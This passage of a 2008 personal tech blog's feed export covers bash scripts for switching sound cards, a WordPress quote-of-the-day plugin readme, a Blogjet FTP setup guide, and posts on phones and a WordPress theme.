&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here, IXP is my internal sound card and AUDIGY2 is my external (PCMCIA) sound card. Now, all you need to is use &lt;code&gt;asoundconf set-default-card &amp;lt;cardname&amp;gt;&lt;/code&gt; to switch over to any card desired. So, what I did was make 2 bash scripts, and insert this command in them with each having one of my soundcards&amp;rsquo; names.&lt;/p&gt;
&lt;p&gt;script 1 - setixp.sh&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;asoundconf set-default-card IXP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Similarly, script 2 - setaudigy.sh&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;asoundconf set-default-card AUDIGY2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, all that remains is save the two scripts (maybe in ur home directory or ur desktop), and make them executable (use &lt;code&gt;chmod +x &amp;lt;scriptname&amp;gt;&lt;/code&gt;). Now, whenever you want to switch to a card, just double-click on the appropriate script, and watch the sound getting redirected. oops, make that &amp;ldquo;hear&amp;rdquo; the sound :P.&lt;/p&gt;</content></item><item><title>My First WordPress Plugin: Please Welcome shantz-wp-qotd</title><link>https://shantanugoel.com/2008/02/10/my-first-wordpress-plugin-please-welcome-shantz-wp-qotd/</link><pubDate>Sun, 10 Feb 2008 11:00:27 +0000</pubDate><guid>https://shantanugoel.com/2008/02/10/my-first-wordpress-plugin-please-welcome-shantz-wp-qotd/</guid><description>&lt;p&gt;Motivated by Ronald’s ultimate wordpress plugin tutorial at &lt;a href="http://www.devlounge.net/extras/how-to-write-a-wordpress-plugin"&gt;devlounge&lt;/a&gt;, I decided that the best way to learn something is to use it in a live project. Armed with my laptop and multiple flasks of coffee, the marathon began on Friday night. My only experience with web-related development so far had been around 8–10 years ago as a kid when, just like everybody else at that time, I was fascinated by HTML and did a “read-through” of HTML 4.0. But I have always been a believer of the theory that a C programmer can program in any language quickly without having to go through the whole manuals. Thus that night bore fruit for me, and by 5:30 in the morning I had a working “Quote of The Day” plugin at my hand with all the features I wanted it to have in its first avatar. Did a bit of polishing last night, fixed a few bugs, and created a readme, and here it is, Mr. shantz-wp-qotd “1.0”, in all its glory, ready for general consumption.&lt;/p&gt;</description><content>&lt;p&gt;Motivated by Ronald’s ultimate wordpress plugin tutorial at &lt;a href="http://www.devlounge.net/extras/how-to-write-a-wordpress-plugin"&gt;devlounge&lt;/a&gt;, I decided that the best way to learn something is to use it in a live project. Armed with my laptop and multiple flasks of coffee, the marathon began on Friday night. My only experience with web-related development so far had been around 8–10 years ago as a kid when, just like everybody else at that time, I was fascinated by HTML and did a “read-through” of HTML 4.0. But I have always been a believer of the theory that a C programmer can program in any language quickly without having to go through the whole manuals. Thus that night bore fruit for me, and by 5:30 in the morning I had a working “Quote of The Day” plugin at my hand with all the features I wanted it to have in its first avatar. Did a bit of polishing last night, fixed a few bugs, and created a readme, and here it is, Mr. shantz-wp-qotd “1.0”, in all its glory, ready for general consumption.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features at a glance:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Add quotes to all your posts automatically.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Widget support - Can also have a widget in the sidebar for quotes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Customize and style your quotes with your own text and tags.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Multiple sources for quotes (paste in admin page, get from file implemented, fetch from web/rss soon to come)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Multiple patterns for quotes - Random Quote, Quote of the day (all posts display quote of the day), Quote of that day (all posts display quote for their own days)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pattern for widget can be different&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Customization for widget can be different&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add quotes to top or bottom of posts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable/Disable the quotes without deactivating the plugin&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Coming Soon:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Fetch from web/RSS support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Custom template tag to add quote anywhere you want&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Custom quote boundary decalarator tags/Multiline quote support (Right now, each quote has to be on a new line)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Quotes Categories&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pics support for quotes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Anything else you want&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;File selection&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And more…&lt;/p&gt;</content></item><item><title>Shantz WordPress QOTD</title><link>https://shantanugoel.com/2008/02/10/shantz-wordpress-qotd/</link><pubDate>Sun, 10 Feb 2008 10:22:57 +0000</pubDate><guid>https://shantanugoel.com/2008/02/10/shantz-wordpress-qotd/</guid><description>&lt;p&gt;Shantz WP QOTD is a plugin to add quotes to your wordpress blog in a few easy clicks. It adds quotes to your posts and your sidebars with a multitude of options for sources and customization.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Description ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are many quotes plugins out there. This one has been started with a view to have the best of features and options, ease of use and multiple sources to get the quotes from.&lt;/p&gt;</description><content>&lt;p&gt;Shantz WP QOTD is a plugin to add quotes to your wordpress blog in a few easy clicks. It adds quotes to your posts and your sidebars with a multitude of options for sources and customization.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Description ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There are many quotes plugins out there. This one has been started with a view to have the best of features and options, ease of use and multiple sources to get the quotes from.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Features:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Add quotes to all your posts automatically.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Widget support - Can also have a widget in the sidebar for quotes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Customize and style your quotes with your own text and tags.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Multiple sources for quotes (paste in admin page, get from file implemented, fetch from web/rss soon to come)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Multiple patterns for quotes - Random Quote, Quote of the day (all posts display quote of the day), Quote of that day (all posts display quote for their own days)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pattern for widget can be different&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Customization for widget can be different&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add quotes to top or bottom of posts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Custom template tag to add quote anywhere you want&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Custom quote boundary decalarator tags/Multiline quote support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable/Disable the quotes without deactivating the plugin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Option to exclude pages from displaying quotes&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Coming Soon:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Fetch from web/RSS support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Quotes Categories&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pics support for quotes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Anything else you want&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;File selection&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And more&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Download: &lt;a href="http://wordpress.org/extend/plugins/shantz-wordpress-qotd/"&gt;http://wordpress.org/extend/plugins/shantz-wordpress-qotd/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Installation ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The Shantz-WP-QOTD plugin can be installed in following easy steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Unzip &amp;ldquo;shantz-wp-qotd&amp;rdquo; archive and put all files into your &amp;ldquo;plugins&amp;rdquo; folder (/wp-content/plugins/). It is advisable to create a sub directory into the plugins folder, like /wp-content/plugins/shantz-wp-qotd/&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Activate the plugin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Go to Options &amp;gt; Shantz WP Quotes, adjust your settings and save them.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For adding and configuring widget to sidebar, go to Presentation &amp;gt; Widgets.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;== Frequently Asked Questions ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;= How to add quotes anywhere in the posts/pages? =
Use the tag &lt;code&gt;&amp;lt;!-- shantz-wp-qotd {option} --&amp;gt;&lt;/code&gt; anywhere in your post (without the quotes).
Note:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;{option} (including the braces) has to be replaced by the quote pattern that you want: qotd, qottd or r. qotd is quote of the day, qottd is quote of that day and r is random.&lt;/li&gt;
&lt;li&gt;The tag has to be added using the code editor and not the visual editor, otherwise it will replace the &amp;lt;, &amp;gt; with their HTML equivalents.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;= How to use the custom separator/multi-line quotes? =
By default, if you leave the custom separator box blank, the plugin uses a newline character as the separator. However, if you have quotes that have multiple lines, you can change this to a tag of your choice, say [quote]. Now, in your quotes file (or quotes pasted in admin panel options) add this tag at the end of each quote and you are done.&lt;/p&gt;
&lt;p&gt;= What is the format for saving quotes? =
In text box in admin page, as well as in the file, the quotes have to be saved as one on each line. Each quote is separate by newline.&lt;/p&gt;
&lt;p&gt;= Where is the file with quotes located =&lt;/p&gt;
&lt;p&gt;For the get from file option, a file &amp;ldquo;quotes.txt&amp;rdquo; has to be present in the same directory where shantz-wp-qotd.php is residing. A sample quotes.txt has been given with this plugin (with some quotes from southpark, simpsons, matrix and deus ex)&lt;/p&gt;
&lt;p&gt;= I checked the option &amp;ldquo;exclude pages&amp;rdquo; but my pages are still displaying quotes =
Check your WordPress version. This option is effective only for Version 2.1 and above&lt;/p&gt;
&lt;p&gt;= How to upgrade to a new version =
Simply overwrite the old files with the new ones.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Screenshots ==&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Config Screens and plugin in action:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/screenshot-1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D1_thumb.jpg" alt="Screenshot-1"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/screenshot-2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D2_thumb1.jpg" alt="Screenshot-2"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/screenshot-3.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/screenshot_2D3_thumb.jpg" alt="Screenshot-3"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;You can also see the plugin in action right here on my site (check bottom of posts and the right sidebar topmost widget)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;== Version History ==&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Version 1.2.2&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fixed a bug because of which quotes were blank some times. Thanks to Thom for reporting it.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Version 1.2.1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Option to exclude pages from displaying quotes is also compatible with wordpress version &amp;lt; 2.1&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Version 1.2.0&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added option to exclude pages from displaying quotes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Fixed a bug that quotes source selection checkboxes always remain checked after updating settings.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cosmetic: Fixed a few spelling mistakes :)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Version 1.1.0.1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cosmetic: Changed readme.txt according to wp-extend standards&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Version 1.1.0&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Added Custom tag support for adding quotes anywhere in your posts/pages&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Added Custom quote separator support and multi-line quotes support&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Version 1.0.1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fixed some styling related issues in text added before/after quote displayed in widget (especially links related issues)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Version 1.0.0&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Initial version&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Nokia + Windows Mobile = Let's Kick Some "InsertWMPhoneMakerName" Butt</title><link>https://shantanugoel.com/2008/02/08/nokia-windows-mobile-lets-kick-some-butt/</link><pubDate>Fri, 08 Feb 2008 05:00:58 +0000</pubDate><guid>https://shantanugoel.com/2008/02/08/nokia-windows-mobile-lets-kick-some-butt/</guid><description>&lt;p&gt;As everyone knows, I’m an out-and-out Windows Mobile worshipper. It’s like a girlfriend, who is very difficult to manage and understand at first, but is a great source of joy if you know how to manage her. I don’t like any other phones now; the extensibility given by WM will do that to you.&lt;/p&gt;
&lt;p&gt;I also “admire” Nokia because of the quality and reliability they provide with their phones. Having worked for them in a project (Nokia Networks/Nokia Seimens Networks actually), I know how much testing they put in before releasing something. That coupled with the recent &lt;a href="https://shantanugoel.com/2008/01/28/htc-the-best-windows-mobile-business-unit.html"&gt;crap-doings&lt;/a&gt; by even the largest of the WM Phone companies like HTC, have made me try to look elsewhere.&lt;/p&gt;</description><content>&lt;p&gt;As everyone knows, I’m an out-and-out Windows Mobile worshipper. It’s like a girlfriend, who is very difficult to manage and understand at first, but is a great source of joy if you know how to manage her. I don’t like any other phones now; the extensibility given by WM will do that to you.&lt;/p&gt;
&lt;p&gt;I also “admire” Nokia because of the quality and reliability they provide with their phones. Having worked for them in a project (Nokia Networks/Nokia Seimens Networks actually), I know how much testing they put in before releasing something. That coupled with the recent &lt;a href="https://shantanugoel.com/2008/01/28/htc-the-best-windows-mobile-business-unit.html"&gt;crap-doings&lt;/a&gt; by even the largest of the WM Phone companies like HTC, have made me try to look elsewhere.&lt;/p&gt;
&lt;p&gt;Now, if this &lt;a href="http://www.itwire.com/content/view/16510/127/"&gt;news&lt;/a&gt; comes true, then we are in for a treat, as the two giants might just come together to give us a sweet little toy for our “smart” cravings &lt;img src="https://shantanugoel.com/img/uploads/smile3.gif" alt=""&gt;. Read the news and let us know how you feel about it.&lt;/p&gt;
&lt;p&gt;PS: Don’t even mention iPhone/iPod/iTouch or any other iCrap.&lt;/p&gt;</content></item><item><title>Tips: Configure FTP upload support for wordpress in Blogjet</title><link>https://shantanugoel.com/2008/02/07/tips-configure-ftp-upload-support-for-wordpress-in-blogjet/</link><pubDate>Thu, 07 Feb 2008 14:36:27 +0000</pubDate><guid>https://shantanugoel.com/2008/02/07/tips-configure-ftp-upload-support-for-wordpress-in-blogjet/</guid><description>&lt;p&gt;A few days ago, I had written about a wonderful blogging tool &lt;a href="https://shantanugoel.com/2008/01/29/blogjet-blog-faster-blog-better-now-in-linux-too-with-a-hidden-bonus.html"&gt;Blogjet&lt;/a&gt;. Now, if you host a wordpress blog, you’d be aware of the fact that for wordpress to be able to upload yor files (images, attachements in post etc) to the server, you have to make the upload directory writable by all. Now, this is a BIG security risk. Some people go to the lengths of CHMOD’ding their upload directory for a short while and after upload, restoring the apt file permissions back. Some upload their files separately through ftp. But Blogjet has a very cool feature. It supports uploading all your non-text content to your webspace not only by using wordpress APIs but also through ftp if wordpress doesn’t have necessary permissions to write files on your server. This saves you a lot of time, that you can then devote on writing the actual post instead of meandering around with the “technicalities”. But many a people have a heart-ache configuring the ftp with Blogjet, although it is quite simple really. This is basically due to conflicting and confusing instructions existing on the ‘net. So, here I present to you step by step, simplest instrutions to configure this. Read on.&lt;/p&gt;</description><content>&lt;p&gt;A few days ago, I had written about a wonderful blogging tool &lt;a href="https://shantanugoel.com/2008/01/29/blogjet-blog-faster-blog-better-now-in-linux-too-with-a-hidden-bonus.html"&gt;Blogjet&lt;/a&gt;. Now, if you host a wordpress blog, you’d be aware of the fact that for wordpress to be able to upload yor files (images, attachements in post etc) to the server, you have to make the upload directory writable by all. Now, this is a BIG security risk. Some people go to the lengths of CHMOD’ding their upload directory for a short while and after upload, restoring the apt file permissions back. Some upload their files separately through ftp. But Blogjet has a very cool feature. It supports uploading all your non-text content to your webspace not only by using wordpress APIs but also through ftp if wordpress doesn’t have necessary permissions to write files on your server. This saves you a lot of time, that you can then devote on writing the actual post instead of meandering around with the “technicalities”. But many a people have a heart-ache configuring the ftp with Blogjet, although it is quite simple really. This is basically due to conflicting and confusing instructions existing on the ‘net. So, here I present to you step by step, simplest instrutions to configure this. Read on.&lt;/p&gt;
&lt;p&gt;Step1) Launch Blogjet. You will be presented with a login screen (shown below). You can create a new account or choose to edit an existing one.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/1_blogjet_login_screen.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/1_blogjet_login_screen_thumb.jpg" alt="1_blogjet_login_screen"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step2) Choose “I have a blog” on the next screen. Press next.(You might not get this screen if you are editing an old account. In that case, skip to Step 3)&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/2_blogjet_create_blog.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/2_blogjet_create_blog_thumb.jpg" alt="2_blogjet_create_blog"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step3) In the “Edit connection Settings” dialog, click on “Configure Settings Manually”.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/3_blogjet_settings.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/3_blogjet_settings_thumb.jpg" alt="3_blogjet_settings"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step4) In the Connection settings dialog, there are two options for wordpress blogs. “Wordpress” and “Wordpress (Direct Upload)”. Choose “Wordpress”. The direct upload feature is for people whose wordpress installations have necessary permissions to create files on the server.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/4_blojget_account_settings.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/4_blojget_account_settings_thumb.jpg" alt="4_blojget_account_settings"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step5) Enter the username and password for your blog.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/5_blogjet_username.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/5_blogjet_username_thumb.jpg" alt="5_blogjet_username"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step6) Now, you get the FTP Configuration screen. Check out the image below and then read the instructions for filling up various columns.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/6_blogjet_config_ftp.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/6_blogjet_config_ftp_thumb.jpg" alt="6_blogjet_config_ftp"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;i) Tick the checkbox which says “Use FTP to upload pictures…..”&lt;/p&gt;
&lt;p&gt;ii) FTP Server: ftp address for your server. e.g.: &lt;a href="ftp://ftp.mysite.com/"&gt;ftp.mysite.com&lt;/a&gt; .If you don’t know this, then you should contact your webhost support staff to know about this.&lt;/p&gt;
&lt;p&gt;iii) Port: Generally ftp port is 21. However, if you are not sure, then ask your webhost support staff to get the exact number.&lt;/p&gt;
&lt;p&gt;iv) Remote Folder: This is the folder where you want to upload your stuff but is relative to the path where your ftp connection lands you. You’ll need to make a manual ftp connection to your ftp server first to check this. Check the examples after next step.&lt;/p&gt;
&lt;p&gt;v) Base URL: This is the complete web path, that wordpress (or any user over the web) will use to access the image.&lt;/p&gt;
&lt;p&gt;Examples: If your ftp server address is &lt;a href="ftp://ftp.mysite.com/"&gt;ftp.mysite.com&lt;/a&gt;, and your wordpress blog address is &lt;a href="http://blog.mysite.com/"&gt;http://blog.mysite.com&lt;/a&gt; . Your file directory structure is something like given below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/-&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/public_html -&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/public_html/wordpress
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/another_folder
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When you connect to ftp manuall, you land up at “/”, you make a new folder at /public_html/wordpress/uploads, where you are going to upload your files. And your blog address &lt;a href="http://blog.mysite.com/"&gt;http://blog.mysite.com&lt;/a&gt; points at /public_html/wordpress/ when you go to it through your web browser, then your field values will be:&lt;/p&gt;
&lt;p&gt;Remote Folder: /public_html/wordpress/uploads&lt;/p&gt;
&lt;p&gt;Base URL: &lt;a href="http://blog.mysite.com/uploads"&gt;http://blog.mysite.com/uploads&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes: So, basically what you can do is for remote folder, connect to ftp, “cd” to the folder where you want to upload and do “pwd”, this is your remote folder address. For Base url, find out, where your blog address points to (take help of your webhost support if u need), then find your upload folder’s path relative to it, and add that relative path in front of your blog address.&lt;/p&gt;
&lt;p&gt;vi) Username/password: This is your ftp username and password given to you by your webhost.&lt;/p&gt;
&lt;p&gt;vii) Now, click on “Test this configuration”. If everything is ok, then you’ll get a “FTP Configured properly” message as shown below. Then click ok and next.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/7_blogjet_ftp_configured.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/7_blogjet_ftp_configured_thumb.jpg" alt="7_blogjet_ftp_configured"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step7) Click on finish. You are done. &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;. Do let me know if this worked for you or you had any issues.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/8_blogjet_finish.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/8_blogjet_finish_thumb.jpg" alt="8_blogjet_finish"&gt;&lt;/a&gt;&lt;/p&gt;</content></item><item><title>i3theme awesomeness: Cool feature for end-users/viewers</title><link>https://shantanugoel.com/2008/02/06/i3theme-awesomeness-cool-feature-for-end-usersviewers/</link><pubDate>Wed, 06 Feb 2008 04:42:02 +0000</pubDate><guid>https://shantanugoel.com/2008/02/06/i3theme-awesomeness-cool-feature-for-end-usersviewers/</guid><description>&lt;p&gt;I am just in love with this theme. I knew about the cool feature that you can click on those little green dots on the right top corner of any widget and the widget will minimize to just a bar but just now discovered another awesome feature for the viewers of the wordpress based blogs using this theme. The feature is that you, the viewer, can reorganize the widgets on the left and right sidebars according to your preference, like move the “Pages” widget towards the top for convenient navigation through all the static pages in the site. All this through simple steps like -“&lt;strong&gt;Click, drag, drop&lt;/strong&gt;” and you are set. The other widgets will automatically move up and down to make space. And the clincher is that it will remember your preferences &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt; (actually the browser will remember, I think). So, whenever you come back to the site, you will see it the way you like it. Here is an example:&lt;/p&gt;</description><content>&lt;p&gt;I am just in love with this theme. I knew about the cool feature that you can click on those little green dots on the right top corner of any widget and the widget will minimize to just a bar but just now discovered another awesome feature for the viewers of the wordpress based blogs using this theme. The feature is that you, the viewer, can reorganize the widgets on the left and right sidebars according to your preference, like move the “Pages” widget towards the top for convenient navigation through all the static pages in the site. All this through simple steps like -“&lt;strong&gt;Click, drag, drop&lt;/strong&gt;” and you are set. The other widgets will automatically move up and down to make space. And the clincher is that it will remember your preferences &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt; (actually the browser will remember, I think). So, whenever you come back to the site, you will see it the way you like it. Here is an example:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/widgets_default.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/widgets_default_thumb.jpg" alt="Widgets_default"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Default widget layout&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/widgets_reorganized.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/widgets_reorganized_thumb.jpg" alt="Widgets_reorganized"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Widget layout after reorganization&lt;/p&gt;</content></item><item><title>Hack: Wordpress i3theme IE6 sidebar problem solved</title><link>https://shantanugoel.com/2008/02/04/hack-wordpress-i3theme-ie6-sidebar-problem-solved/</link><pubDate>Mon, 04 Feb 2008 14:51:21 +0000</pubDate><guid>https://shantanugoel.com/2008/02/04/hack-wordpress-i3theme-ie6-sidebar-problem-solved/</guid><description>&lt;p&gt;The awesome &lt;a href="http://www.mangoorange.com/resources/i3theme/"&gt;i3theme&lt;/a&gt; that this blog uses is a treat to the eyes, except to a lot of IE6 users. The issue is that for many people viewing wordpress blogs using this theme, the right sidebar doesn&amp;rsquo;t appear on the right, but &lt;strong&gt;below&lt;/strong&gt; the middle column main area.&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t know this problem existed as I don&amp;rsquo;t use IE but when a friend mailed to let me know, I started hunting around for the solution. Infact, found on the home page of i3theme, that the author acknowledged this bug and fixed it in v1.5, except the fact, that the fix doesn&amp;rsquo;t work. Because this blog was also using the same version.&lt;/p&gt;</description><content>&lt;p&gt;The awesome &lt;a href="http://www.mangoorange.com/resources/i3theme/"&gt;i3theme&lt;/a&gt; that this blog uses is a treat to the eyes, except to a lot of IE6 users. The issue is that for many people viewing wordpress blogs using this theme, the right sidebar doesn&amp;rsquo;t appear on the right, but &lt;strong&gt;below&lt;/strong&gt; the middle column main area.&lt;/p&gt;
&lt;p&gt;I didn&amp;rsquo;t know this problem existed as I don&amp;rsquo;t use IE but when a friend mailed to let me know, I started hunting around for the solution. Infact, found on the home page of i3theme, that the author acknowledged this bug and fixed it in v1.5, except the fact, that the fix doesn&amp;rsquo;t work. Because this blog was also using the same version.&lt;/p&gt;
